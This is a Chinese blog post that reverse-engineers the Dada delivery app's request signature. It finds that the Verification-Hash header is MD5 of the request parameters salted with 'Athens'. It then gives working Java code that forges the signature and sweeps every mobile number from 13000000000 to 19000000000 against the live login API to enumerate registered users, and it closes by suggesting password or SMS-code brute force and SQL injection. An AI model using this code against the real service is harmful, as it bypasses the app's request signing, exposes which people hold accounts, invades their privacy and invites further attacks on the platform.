签名

抓包

get https://api.imdada.cn/v1_0/supplier/city/?userId=0&userModeType=2

GET /v1_0/supplier/city/?userId=0&userModeType=2 HTTP/1.1
Accuracy: 0
User-Token: 1
Lng: 0.0
Request-Id: 22a13eff-09b8-4d04-add8-671078f2d05e
Platform: Android
App-Name: a-shop
Ad-Code: 0
Sdcard-Id: 46d875705a7ca6979d97dabfc1c07bb6
Network: WIFI
Location-Time: 0
Enable-Gps: 1
Model: Android-100
City-Id: 0
City-Code: 0
Client-MacAddress: 1C:3A:43:72:BB:76
Rate-Limit-Hash: 46d875705a7ca6979d97dabfc1c07bb6
Location-Provider: 
Channel-ID: YYB
User-Id: 0
App-Version: 7.8.5
Operator: WIFI
Lat: 0.0
OS-Version: 5.1.1
UUID: 00000000-087f-9d2b-2576-413c00000000
Client-Time: 1566837791555
Client-Imei: 334590067255429
Client-Imsi: undefined
Verification-Hash: 13a5b0f73ca0172cbc7673014bd87aa4
Host: api.imdada.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0



HTTP/1.1 200 OK
Server: openresty
Date: Mon, 26 Aug 2019 16:50:59 GMT
Content-Type: application/json
Connection: close
X-Sentry-ID: None
Content-Length: 17251

{"content": {"city": [{"adCode": 310000, "cityCode": "021", "id": 1, "lat": 31.219999, "lng": 121.480003, "name": "\u4e0a\u6d77", "pinyin": "SHANGHAI"}, {"adCode": 110000, "cityCode": "010", "id": 2, "lat": 39.904999, "lng": 116.404999, "name": "\u5317\u4eac", "pinyin": "BEIJING"}, {"adCode": 340100, "cityCode": "0551", "id": 3, "lat": 31.8612, "lng": 117.282997, "name": "\u5408\u80a5", "pinyin": "HEFEI"}, {"adCode": 320100, "cityCode": "025", "id": 4, "lat": 32.0415, "lng": 118.766998, "name": "\u5357\u4eac", "pinyin": "NANJING"}, {"adCode": 320500, "cityCode": "0512", "id": 5, "lat": 31.6583, "lng": 120.748001, "name": "\u82cf\u5dde\uff08\u4e0d\u542b\u6606\u5c71\uff09", "pinyin": "SUZHOU"}, {"adCode": 420100, "cityCode": "027", "id": 6, "lat": 30.5844, "lng": 114.299004, "name": "\u6b66\u6c49", "pinyin": "WUHAN"}, {"adCode": 320200, "cityCode": "0510", "id": 7, "lat": 31.547701, "lng": 120.306, "name": "\u65e0\u9521", "pinyin": "WUXI"}, {"adCode": 320400, "cityCode": "0519", "id": 8, "lat": 31.811199, "lng": 119.973999, "name": "\u5e38\u5dde", "pinyin": "CHANGZHOU"}, {"adCode": 330100, "cityCode": "0571", "id": 9, "lat": 30.2437, "lng": 120.182999, "name": "\u676d\u5dde", "pinyin": "HANGZHOU"}, {"adCode": 440100, "cityCode": "020", "id": 10, "lat": 23.148701, "lng": 113.257004, "name": "\u5e7f\u5dde", "pinyin": "GUANGZHOU"}, {"adCode": 440300, "cityCode": "0755", "id": 11, "lat": 22.5431, "lng": 114.057999, "name": "\u6df1\u5733", "pinyin": "SHENZHEN"}, {"adCode": 500000, "cityCode": "023", "id": 12, "lat": 29.563, "lng": 106.552002, "name": "\u91cd\u5e86", "pinyin": "CHONGQING"}, {"adCode": 430100, "cityCode": "0731", "id": 13, "lat": 28.228201, "lng": 112.939003, "name": "\u957f\u6c99", "pinyin": "CHANGSHA"}, {"adCode": 510100, "cityCode": "028", "id": 14, "lat": 30.5723, "lng": 104.067001, "name": "\u6210\u90fd", "pinyin": "CHENGDU"}, {"adCode": 120000, "cityCode": "022", "id": 15, "lat": 39.084202, "lng": 117.200996, "name": "\u5929\u6d25", "pinyin": "TIANJIN"}, {"adCode": 350200, "cityCode": "0592", "id": 16, "lat": 24.479799, "lng": 118.088997, "name": "\u53a6\u95e8", "pinyin": "XIAMEN"}, {"adCode": 350100, "cityCode": "0591", "id": 17, "lat": 26.074499, "lng": 119.295998, "name": "\u798f\u5dde", "pinyin": "FUZHOU"}, {"adCode": 210200, "cityCode": "0411", "id": 18, "lat": 38.914001, "lng": 121.614998, "name": "\u5927\u8fde", "pinyin": "DALIAN"}, {"adCode": 370200, "cityCode": "0532", "id": 19, "lat": 36.060001, "lng": 120.379997, "name": "\u9752\u5c9b", "pinyin": "QINGDAO"}, {"adCode": 230100, "cityCode": "0451", "id": 21, "lat": 45.803799, "lng": 126.535004, "name": "\u54c8\u5c14\u6ee8", "pinyin": "HAERBIN"}, {"adCode": 370100, "cityCode": "0531", "id": 22, "lat": 36.651199, "lng": 117.120003, "name": "\u6d4e\u5357", "pinyin": "JINAN"}, {"adCode": 410100, "cityCode": "0371", "id": 23, "lat": 34.747002, "lng": 113.625999, "name": "\u90d1\u5dde", "pinyin": "ZHENGZHOU"}, {"adCode": 610100, "cityCode": "029", "id": 24, "lat": 34.342444, "lng": 108.939786, "name": "\u897f\u5b89", "pinyin": "XIAN"}, {"adCode": 330200, "cityCode": "0574", "id": 25, "lat": 29.859656, "lng": 121.62153, "name": "\u5b81\u6ce2", "pinyin": "NINGBO"}, {"adCode": 330300, "cityCode": "0577", "id": 26, "lat": 27.993828, "lng": 120.699362, "name": "\u6e29\u5dde", "pinyin": "WENZHOU"}, {"adCode": 340200, "cityCode": "0553", "id": 27, "lat": 31.352859, "lng": 118.432941, "name": "\u829c\u6e56", "pinyin": "WUHU"}, {"adCode": 320600, "cityCode": "0513", "id": 28, "lat": 31.980172, "lng": 120.894291, "name": "\u5357\u901a", "pinyin": "NANTONG"}, {"adCode": 360100, "cityCode": "0791", "id": 29, "lat": 28.682892, "lng": 115.858198, "name": "\u5357\u660c", "pinyin": "NANCHANG"}, {"adCode": 130100, "cityCode": "0311", "id": 30, "lat": 38.065171, "lng": 114.466654, "name": "\u77f3\u5bb6\u5e84", "pinyin": "SHIJIAZHUANG"}, {"adCode": 370700, "cityCode": "0536", "id": 31, "lat": 36.706774, "lng": 119.161755, "name": "\u6f4d\u574a", "pinyin": "WEIFANG"}, {"adCode": 330400, "cityCode": "0573", "id": 32, "lat": 30.746129, "lng": 120.755486, "name": "\u5609\u5174", "pinyin": "JIAXING"}, {"adCode": 330700, "cityCode": "0579", "id": 33, "lat": 29.079059, "lng": 119.647445, "name": "\u91d1\u534e", "pinyin": "JINHUA"}, {"adCode": 370600, "cityCode": "0535", "id": 35, "lat": 37.466684, "lng": 121.447678, "name": "\u70df\u53f0", "pinyin": "YANTAI"}, {"adCode": 321000, "cityCode": "0514", "id": 36, "lat": 32.394213, "lng": 119.412947, "name": "\u626c\u5dde", "pinyin": "YANGZHOU"}, {"adCode": 320583, "cityCode": "0512", "id": 37, "lat": 31.385598, "lng": 120.980737, "name": "\u6606\u5c71", "pinyin": "KUNSHAN"}, {"adCode": 440600, "cityCode": "0757", "id": 38, "lat": 23.021479, "lng": 113.121436, "name": "\u4f5b\u5c71", "pinyin": "FOSHAN"}, {"adCode": 441900, "cityCode": "0769", "id": 39, "lat": 23.020673, "lng": 113.7518, "name": "\u4e1c\u839e", "pinyin": "DONGGUAN"}, {"adCode": 340500, "cityCode": "0555", "id": 40, "lat": 31.67044, "lng": 118.507011, "name": "\u9a6c\u978d\u5c71", "pinyin": "MAANSHAN"}, {"adCode": 532900, "cityCode": "0872", "id": 42, "lat": 25.592453, "lng": 100.230957, "name": "\u5927\u7406", "pinyin": "DALI"}, {"adCode": 340800, "cityCode": "0556", "id": 43, "lat": 30.543494, "lng": 117.063755, "name": "\u5b89\u5e86", "pinyin": "ANQING"}, {"adCode": 341600, "cityCode": "0558", "id": 45, "lat": 33.844582, "lng": 115.778676, "name": "\u4eb3\u5dde", "pinyin": "BOZHOU"}, {"adCode": 341700, "cityCode": "0566", "id": 46, "lat": 30.6648, "lng": 117.491568, "name": "\u6c60\u5dde", "pinyin": "CHIZHOU"}, {"adCode": 341100, "cityCode": "0550", "id": 47, "lat": 32.301556, "lng": 118.317107, "name": "\u6ec1\u5dde", "pinyin": "CHUZHOU"}, {"adCode": 341200, "cityCode": "1558", "id": 48, "lat": 32.890124, "lng": 115.814205, "name": "\u961c\u9633", "pinyin": "FUYANG"}, {"adCode": 330500, "cityCode": "0572", "id": 49, "lat": 30.894348, "lng": 120.086823, "name": "\u6e56\u5dde", "pinyin": "HUZHOU"}, {"adCode": 340600, "cityCode": "0561", "id": 51, "lat": 33.955845, "lng": 116.798265, "name": "\u6dee\u5317", "pinyin": "HUAIBEI"}, {"adCode": 340400, "cityCode": "0554", "id": 52, "lat": 32.625478, "lng": 116.999933, "name": "\u6dee\u5357", "pinyin": "HUAINAN"}, {"adCode": 341000, "cityCode": "0559", "id": 53, "lat": 29.714656, "lng": 118.337482, "name": "\u9ec4\u5c71", "pinyin": "HUANGSHAN"}, {"adCode": 341500, "cityCode": "0564", "id": 56, "lat": 31.7337, "lng": 116.521855, "name": "\u516d\u5b89", "pinyin": "LIUAN"}, {"adCode": 340700, "cityCode": "0562", "id": 60, "lat": 30.94543, "lng": 117.812079, "name": "\u94dc\u9675", "pinyin": "TONGLING"}, {"adCode": 341300, "cityCode": "0557", "id": 62, "lat": 33.646373, "lng": 116.964356, "name": "\u5bbf\u5dde", "pinyin": "SUZHOU"}, {"adCode": 320300, "cityCode": "0516", "id": 63, "lat": 34.205768, "lng": 117.284124, "name": "\u5f90\u5dde", "pinyin": "XUZHOU"}, {"adCode": 320900, "cityCode": "0515", "id": 65, "lat": 33.347383, "lng": 120.163562, "name": "\u76d0\u57ce", "pinyin": "YANCHENG"}, {"adCode": 321100, "cityCode": "0511", "id": 66, "lat": 32.187849, "lng": 119.425836, "name": "\u9547\u6c5f", "pinyin": "ZHENJIANG"}, {"adCode": 511700, "cityCode": "0818", "id": 72, "lat": 31.209572, "lng": 107.468023, "name": "\u8fbe\u5dde", "pinyin": "DAZHOU"}, {"adCode": 510600, "cityCode": "0838", "id": 73, "lat": 31.126856, "lng": 104.397894, "name": "\u5fb7\u9633", "pinyin": "DEYANG"}, {"adCode": 510800, "cityCode": "0839", "id": 75, "lat": 32.435435, "lng": 105.843357, "name": "\u5e7f\u5143", "pinyin": "GUANGYUAN"}, {"adCode": 520100, "cityCode": "0851", "id": 76, "lat": 26.647661, "lng": 106.630154, "name": "\u8d35\u9633", "pinyin": "GUIYANG"}, {"adCode": 530100, "cityCode": "0871", "id": 77, "lat": 24.880095, "lng": 102.832892, "name": "\u6606\u660e", "pinyin": "KUNMING"}, {"adCode": 511100, "cityCode": "0833", "id": 79, "lat": 29.552107, "lng": 103.765572, "name": "\u4e50\u5c71", "pinyin": "LESHAN"}, {"adCode": 510500, "cityCode": "0830", "id": 83, "lat": 28.871811, "lng": 105.442261, "name": "\u6cf8\u5dde", "pinyin": "LUZHOU"}, {"adCode": 511400, "cityCode": "1833", "id": 84, "lat": 30.07544, "lng": 103.848538, "name": "\u7709\u5c71", "pinyin": "MEISHAN"}, {"adCode": 510700, "cityCode": "0816", "id": 85, "lat": 31.46745, "lng": 104.679114, "name": "\u7ef5\u9633", "pinyin": "MIANYANG"}, {"adCode": 511300, "cityCode": "0817", "id": 86, "lat": 30.837793, "lng": 106.110698, "name": "\u5357\u5145", "pinyin": "NANCHONG"}, {"adCode": 510400, "cityCode": "0812", "id": 88, "lat": 26.582347, "lng": 101.718637, "name": "\u6500\u679d\u82b1", "pinyin": "PANZHIHUA"}, {"adCode": 530300, "cityCode": "0874", "id": 90, "lat": 25.49, "lng": 103.796167, "name": "\u66f2\u9756", "pinyin": "QUJING"}, {"adCode": 511500, "cityCode": "0831", "id": 94, "lat": 28.751769, "lng": 104.643215, "name": "\u5b9c\u5bbe", "pinyin": "YIBIN"}, {"adCode": 510300, "cityCode": "0813", "id": 98, "lat": 29.33903, "lng": 104.778442, "name": "\u81ea\u8d21", "pinyin": "ZIGONG"}, {"adCode": 520300, "cityCode": "0852", "id": 99, "lat": 27.725654, "lng": 106.927389, "name": "\u9075\u4e49", "pinyin": "ZUNYI"}, {"adCode": 532300, "cityCode": "0878", "id": 102, "lat": 25.045532, "lng": 101.528069, "name": "\u695a\u96c4", "pinyin": "CHUXIONG"}, {"adCode": 510681, "cityCode": "028", "id": 107, "lat": 0.0, "lng": 0.0, "name": "\u5e7f\u6c49", "pinyin": "GUANGHAN"}, {"adCode": 130700, "cityCode": "0313", "id": 115, "lat": 40.824418, "lng": 114.887543, "name": "\u5f20\u5bb6\u53e3", "pinyin": "ZHANGJIAKOU"}, {"adCode": 370900, "cityCode": "0538", "id": 116, "lat": 36.200252, "lng": 117.087614, "name": "\u6cf0\u5b89", "pinyin": "TAIAN"}, {"adCode": 441600, "cityCode": "0762", "id": 117, "lat": 23.743538, "lng": 114.700447, "name": "\u6cb3\u6e90", "pinyin": "HEYUAN"}, {"adCode": 440500, "cityCode": "0754", "id": 122, "lat": 23.354091, "lng": 116.681972, "name": "\u6c55\u5934", "pinyin": "SHANTOU"}, {"adCode": 440900, "cityCode": "0668", "id": 124, "lat": 21.662999, "lng": 110.925456, "name": "\u8302\u540d", "pinyin": "MAOMING"}, {"adCode": 440200, "cityCode": "0751", "id": 130, "lat": 24.810403, "lng": 113.597522, "name": "\u97f6\u5173", "pinyin": "SHAOGUAN"}, {"adCode": 140100, "cityCode": "0351", "id": 132, "lat": 37.87059, "lng": 112.548879, "name": "\u592a\u539f", "pinyin": "TAIYUAN"}, {"adCode": 441300, "cityCode": "0752", "id": 133, "lat": 23.111847, "lng": 114.416196, "name": "\u60e0\u5dde", "pinyin": "HUIZHOU"}, {"adCode": 440800, "cityCode": "0759", "id": 134, "lat": 21.270708, "lng": 110.359377, "name": "\u6e5b\u6c5f", "pinyin": "ZHANJIANG"}, {"adCode": 450100, "cityCode": "0771", "id": 135, "lat": 22.817002, "lng": 108.366543, "name": "\u5357\u5b81", "pinyin": "NANNING"}, {"adCode": 441800, "cityCode": "0763", "id": 138, "lat": 23.681764, "lng": 113.056031, "name": "\u6e05\u8fdc", "pinyin": "QINGYUAN"}, {"adCode": 350300, "cityCode": "0594", "id": 140, "lat": 25.454085, "lng": 119.007777, "name": "\u8386\u7530", "pinyin": "PUTIAN"}, {"adCode": 442000, "cityCode": "0760", "id": 141, "lat": 22.517646, "lng": 113.392782, "name": "\u4e2d\u5c71", "pinyin": "ZHONGSHAN"}, {"adCode": 350600, "cityCode": "0596", "id": 142, "lat": 24.512949, "lng": 117.647481, "name": "\u6f33\u5dde", "pinyin": "ZHANGZHOU"}, {"adCode": 445200, "cityCode": "0663", "id": 144, "lat": 23.549993, "lng": 116.372831, "name": "\u63ed\u9633", "pinyin": "JIEYANG"}, {"adCode": 450300, "cityCode": "0773", "id": 150, "lat": 25.273566, "lng": 110.290195, "name": "\u6842\u6797", "pinyin": "GUILIN"}, {"adCode": 441700, "cityCode": "0662", "id": 153, "lat": 21.857958, "lng": 111.982232, "name": "\u9633\u6c5f", "pinyin": "YANGJIANG"}, {"adCode": 130600, "cityCode": "0312", "id": 154, "lat": 38.873891, "lng": 115.464806, "name": "\u4fdd\u5b9a", "pinyin": "BAODING"}, {"adCode": 450200, "cityCode": "0772", "id": 157, "lat": 24.325502, "lng": 109.415953, "name": "\u67f3\u5dde", "pinyin": "LIUZHOU"}, {"adCode": 440400, "cityCode": "0756", "id": 163, "lat": 22.270715, "lng": 113.576726, "name": "\u73e0\u6d77", "pinyin": "ZHUHAI"}, {"adCode": 210100, "cityCode": "024", "id": 165, "lat": 41.805698, "lng": 123.431475, "name": "\u6c88\u9633", "pinyin": "SHENYANG"}, {"adCode": 350500, "cityCode": "0595", "id": 167, "lat": 24.874132, "lng": 118.675676, "name": "\u6cc9\u5dde", "pinyin": "QUANZHOU"}, {"adCode": 130400, "cityCode": "0310", "id": 170, "lat": 36.595703, "lng": 114.485986, "name": "\u90af\u90f8", "pinyin": "HANDAN"}, {"adCode": 441200, "cityCode": "0758", "id": 173, "lat": 23.047192, "lng": 112.465091, "name": "\u8087\u5e86", "pinyin": "ZHAOQING"}, {"adCode": 220100, "cityCode": "0431", "id": 174, "lat": 43.817072, "lng": 125.323544, "name": "\u957f\u6625", "pinyin": "CHANGCHUN"}, {"adCode": 130500, "cityCode": "0319", "id": 178, "lat": 37.070589, "lng": 114.504844, "name": "\u90a2\u53f0", "pinyin": "XINGTAI"}, {"adCode": 131000, "cityCode": "0316", "id": 180, "lat": 39.538047, "lng": 116.683752, "name": "\u5eca\u574a", "pinyin": "LANGFANG"}, {"adCode": 350900, "cityCode": "0593", "id": 182, "lat": 26.665617, "lng": 119.547933, "name": "\u5b81\u5fb7", "pinyin": "NINGDE"}, {"adCode": 420600, "cityCode": "0710", "id": 191, "lat": 32.008986, "lng": 112.122415, "name": "\u8944\u9633", "pinyin": "XIANGYANG"}, {"adCode": 420500, "cityCode": "0717", "id": 192, "lat": 30.691967, "lng": 111.286471, "name": "\u5b9c\u660c", "pinyin": "YICHANG"}, {"adCode": 410700, "cityCode": "0373", "id": 195, "lat": 35.303004, "lng": 113.9268, "name": "\u65b0\u4e61", "pinyin": "XINXIANG"}, {"adCode": 430200, "cityCode": "0733", "id": 200, "lat": 27.82755, "lng": 113.134003, "name": "\u682a\u6d32", "pinyin": "ZHU"}, {"adCode": 430600, "cityCode": "0730", "id": 201, "lat": 29.357104, "lng": 113.128958, "name": "\u5cb3\u9633", "pinyin": "YUEYANG"}, {"adCode": 360700, "cityCode": "0797", "id": 202, "lat": 25.831829, "lng": 114.93503, "name": "\u8d63\u5dde", "pinyin": "GANZHOU"}, {"adCode": 140700, "cityCode": "0354", "id": 213, "lat": 37.687024, "lng": 112.752695, "name": "\u664b\u4e2d", "pinyin": "JINZHONG"}, {"adCode": 140200, "cityCode": "0352", "id": 215, "lat": 40.076763, "lng": 113.300129, "name": "\u5927\u540c", "pinyin": "DATONG"}, {"adCode": 410500, "cityCode": "0372", "id": 314, "lat": 36.097577, "lng": 114.392393, "name": "\u5b89\u9633", "pinyin": "ANYANG"}, {"adCode": 431000, "cityCode": "0735", "id": 316, "lat": 25.77051, "lng": 113.014718, "name": "\u90f4\u5dde", "pinyin": "CHENZHOU"}, {"adCode": 361000, "cityCode": "0794", "id": 319, "lat": 27.949217, "lng": 116.358182, "name": "\u629a\u5dde", "pinyin": "FUZHOU"}, {"adCode": 420200, "cityCode": "0714", "id": 322, "lat": 30.199652, "lng": 115.03852, "name": "\u9ec4\u77f3", "pinyin": "HUANGSHI"}, {"adCode": 360800, "cityCode": "0796", "id": 323, "lat": 27.113443, "lng": 114.992509, "name": "\u5409\u5b89", "pinyin": "JIAN"}, {"adCode": 360200, "cityCode": "0798", "id": 326, "lat": 29.268836, "lng": 117.17842, "name": "\u666f\u5fb7\u9547", "pinyin": "JINGDEZHEN"}, {"adCode": 360400, "cityCode": "0792", "id": 327, "lat": 29.705078, "lng": 116.00193, "name": "\u4e5d\u6c5f", "pinyin": "JIUJIANG"}, {"adCode": 410200, "cityCode": "0378", "id": 328, "lat": 34.797239, "lng": 114.307582, "name": "\u5f00\u5c01", "pinyin": "KAIFENG"}, {"adCode": 431300, "cityCode": "0738", "id": 329, "lat": 27.700063, "lng": 111.993497, "name": "\u5a04\u5e95", "pinyin": "LOUDI"}, {"adCode": 360300, "cityCode": "0799", "id": 332, "lat": 27.622768, "lng": 113.854556, "name": "\u840d\u4e61", "pinyin": "PINGXIANG"}, {"adCode": 430500, "cityCode": "0739", "id": 338, "lat": 27.238893, "lng": 111.467791, "name": "\u90b5\u9633", "pinyin": "SHAOYANG"}, {"adCode": 430300, "cityCode": "0732", "id": 345, "lat": 27.829738, "lng": 112.944049, "name": "\u6e58\u6f6d", "pinyin": "XIANGTAN"}, {"adCode": 360500, "cityCode": "0790", "id": 347, "lat": 27.817809, "lng": 114.917347, "name": "\u65b0\u4f59", "pinyin": "XINYU"}, {"adCode": 430900, "cityCode": "0737", "id": 349, "lat": 28.55386, "lng": 112.35518, "name": "\u76ca\u9633", "pinyin": "YIYANG"}, {"adCode": 320581, "cityCode": "0512", "id": 357, "lat": 31.658156, "lng": 31.658156, "name": "\u5e38\u719f", "pinyin": "CHANGSHU"}, {"adCode": 320585, "cityCode": "0512", "id": 358, "lat": 31.452568, "lng": 31.452568, "name": "\u592a\u4ed3", "pinyin": "TAICANG"}, {"adCode": 330185, "cityCode": "0571", "id": 359, "lat": 30.231153, "lng": 30.231153, "name": "\u4e34\u5b89", "pinyin": "LINAN"}, {"adCode": 130181, "cityCode": "0311", "id": 373, "lat": 37.92904, "lng": 115.217451, "name": "\u8f9b\u96c6", "pinyin": "XINJI"}, {"adCode": 320281, "cityCode": "0510", "id": 374, "lat": 31.910984, "lng": 120.275891, "name": "\u6c5f\u9634", "pinyin": "JIANGYIN"}, {"adCode": 370281, "cityCode": "0532", "id": 375, "lat": 36.285878, "lng": 120.006202, "name": "\u80f6\u5dde", "pinyin": "JIAOZHOU"}, {"adCode": 510182, "cityCode": "028", "id": 376, "lat": 30.985161, "lng": 103.941173, "name": "\u5f6d\u5dde", "pinyin": "PENGZHOU"}, {"adCode": 350582, "cityCode": "0595", "id": 377, "lat": 24.807322, "lng": 118.577338, "name": "\u664b\u6c5f", "pinyin": "JINJIANG"}, {"adCode": 520181, "cityCode": "0851", "id": 380, "lat": 26.551289, "lng": 106.470278, "name": "\u6e05\u9547", "pinyin": "QINGZHEN"}]}, "status": "ok"}



重发包正常,对每一个字段进行修改,只有对Verification-Hash修改时返回
{“errorCode”: “2”, “errorMsg”: “\u9a8c\u8bc1\u9519\u8bef”, “status”: “fail”}
验证错误

逆向

最简单的直接搜字符串。。。

三个地方引用到,很好,一点也不多。。。

 

 

 

不过殊途同归,最后都还是调用到getHash函数。

Verification-Hash最终由libsignRate.so计算得到。

 

导出的两个jni函数的实现一样。。。

 

首先进行了签名校验,当然没多大意义。。。直接跳过就行,不涉及Verification-Hash的生成,

 

每次都调用java函数获取签名,计算md5值,和预置的md5值做比较。

获取java层传进来的字符串,进行一些拼接

这里应该是开发做的小技巧?v17只有6字节的空间,算上v18也才7个字节。
所以strcpy的src字符串长度大于v17的话,借助内存溢出?

一开始这么以为的,但是看汇编应该不是,可能是因为操作sp,伪代码错误

不过对我们逆向没什么影响,因为Encode函数也可以跳过。。。

所以Encode函数传入的第一个参数还是0xc,0xd,0x2f,0x2a,0x2a,0x3e

 

这个Encode函数根本不用关心算法是什么,直接粘出来用或者最后得到的是个固定值,直接得到这个值Athens就行。

例如传入的字符串为abcdefgh,拼接后为abcdefghAthens

调用java的md5函数

额,服了。。。

梳理逻辑

签名算法就是md5,拼接字符串相当于加盐。

get请求传入的字符串为问号后面的参数字符串。
post请求传入的字符串为post的内容。

实现代码

public static String md5(String dataStr) {
        try {
            MessageDigest m = MessageDigest.getInstance("MD5");
            m.update(dataStr.getBytes("UTF8"));
            byte s[] = m.digest();
            String result = "";
            for (int i = 0; i < s.length; i++) {
                result += Integer.toHexString((0x000000FF & s[i]) | 0xFFFFFF00).substring(6);
            }
            return result;
        } catch (Exception e) {
            e.printStackTrace();
        }

        return "";
    }


public static void main(String[] args) {

        // write your code here
        String code;
        
        code = "username=13901862357&accountType=1";
        code += "Athens";
        String md5 = md5(code);
        System.out.println(md5);
    }


遍历达达所有注册的用户

GET /v1/pre_login/?username=13900862357&accountType=1 HTTP/1.1
Content-Length: 0
Ad-Code: 110108
Request-Id: 611857b2-e8b9-46c8-81b9-7d1a256281ee
Model: Android-19
App-Name: a-shop
Client-Time: 1567445225931
Client-Imei: 789239345807541
Operator: WIFI
UUID: ffffffff-5304-ca31-0951-65a100000000
Accuracy: 30.0
App-Version: 7.8.5
User-Id: 0
OS-Version: 4.4.4
Location-Time: 1567443950062
Location-Provider: lbs
User-Token: 1
Client-MacAddress: 1C:3A:43:72:BB:76
Platform: Android
Client-Imsi: undefined
Lat: 30.005259
City-Code: 010
Sdcard-Id: 727b6542739b4fafbf08ee917b440f7f
Lng: 126.351598
Enable-Gps: 0
Network: WIFI
City-Id: 0
Channel-ID: YYB
Rate-Limit-Hash: 46d875705a7ca6979d97dabfc1c07bb6
Verification-Hash: aaf60ee764771c1495ffbb72a30655eb
Host: supplier-api.imdada.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0


HTTP/1.1 200 
Server: openresty
Date: Mon, 02 Sep 2019 19:08:57 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Access-Control-Allow-Methods: POST,GET,OPTIONS,DELETE
Access-Control-Max-Age: 3600
Access-Control-Allow-Credentials: true
X-Application-Context: supplier-api:prod:8080
Content-Length: 81

{"status":"fail","errorCode":"2105","errorMsg":"该号码不存在,请先注册"}

以上为手机号登录的api。利用代码如下:

public static void net(String phone, Map<String, String> map) {
        HttpsURLConnection con = null;
        try {

            String tmp = "username="+phone+"&accountType=1";
            tmp += "Athens";
            String md5 = md5(tmp);

            map.put("Verification-Hash", md5);

            URL url = new URL("https://supplier-api.imdada.cn/v1/pre_login/?username=" + phone + "&accountType=1");
            con = (HttpsURLConnection) url.openConnection();
            con.setRequestMethod("GET");

            for (Map.Entry<String, String> entry : map.entrySet()) {
                con.setRequestProperty(entry.getKey(), entry.getValue());
            }

            con.connect();
            int code = con.getResponseCode();
            if (code != 200) {
                System.out.println(phone+"=ResponseCode = " + code);
            } else {
                InputStream is = con.getInputStream();
                byte[] buff = new byte[4096];
                ByteArrayOutputStream bis = new ByteArrayOutputStream();
                int len;
                while ((len = is.read(buff)) != -1) {
                    bis.write(buff, 0, len);
                }

                String json = new String(bis.toByteArray());
                if (json == null) {
                    System.out.println(phone + "=ret null");
                } else if (json.contains("该号码不存在")) {//{"status":"fail","errorCode":"2105","errorMsg":"该号码不存在,请先注册"}

                } else {
                    System.out.println(phone+"=ret="+json);
                }
            }

        } catch (Throwable e) {
            e.printStackTrace();
        }finally {
            if (con != null) {
                con.disconnect();
            }
        }
    }

    public static Map<String, String> getHeaders() {
        String data = "Ad-Code: 110108\n" +
                "Request-Id: 611857b2-e8b9-46c8-81b9-7d1a256281ee\n" +
                "Model: Android-19\n" +
                "App-Name: a-shop\n" +
                "Client-Time: 1567445225931\n" +
                "Client-Imei: 789239345807541\n" +
                "Operator: WIFI\n" +
                "UUID: ffffffff-5304-ca31-0951-65a100000000\n" +
                "Accuracy: 30.0\n" +
                "App-Version: 7.8.5\n" +
                "User-Id: 0\n" +
                "OS-Version: 4.4.4\n" +
                "Location-Time: 1567443950062\n" +
                "Location-Provider: lbs\n" +
                "User-Token: 1\n" +
                "Client-MacAddress: 1C:3A:43:72:BB:76\n" +
                "Platform: Android\n" +
                "Client-Imsi: undefined\n" +
                "Lat: 30.005259\n" +
                "City-Code: 010\n" +
                "Sdcard-Id: 727b6542739b4fafbf08ee917b440f7f\n" +
                "Lng: 126.351598\n" +
                "Enable-Gps: 0\n" +
                "Network: WIFI\n" +
                "City-Id: 0\n" +
                "Channel-ID: YYB\n" +
                "Rate-Limit-Hash: 46d875705a7ca6979d97dabfc1c07bb6\n" +
                "Verification-Hash: aaf60ee764771c1495ffbb72a30655eb";

        String[] split = data.split("\n");
        Map<String, String> map = new HashMap<>();
        for (String s : split) {
            String[] tmp = s.split(": ");
            map.put(tmp[0], tmp[1]);
//            System.out.println(tmp[0]+"="+tmp[1]);
        }

        return map;
    }

    public static void main(String[] args) {

        Map<String, String> headers = getHeaders();

        for (long i = 13000000000L; i < 19000000000L; i++) {
            net(Long.toString(i), headers);
        }

    }

随便跑一下。。。

以上只是简单的看了下达达的签名和一个api,其他没看,很简单,逆向练手的可以做下,说不定密码、短信验证码也没限制能爆破,或者可能存在sql注入之类的。整理磁盘,发现apk,所以看看。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值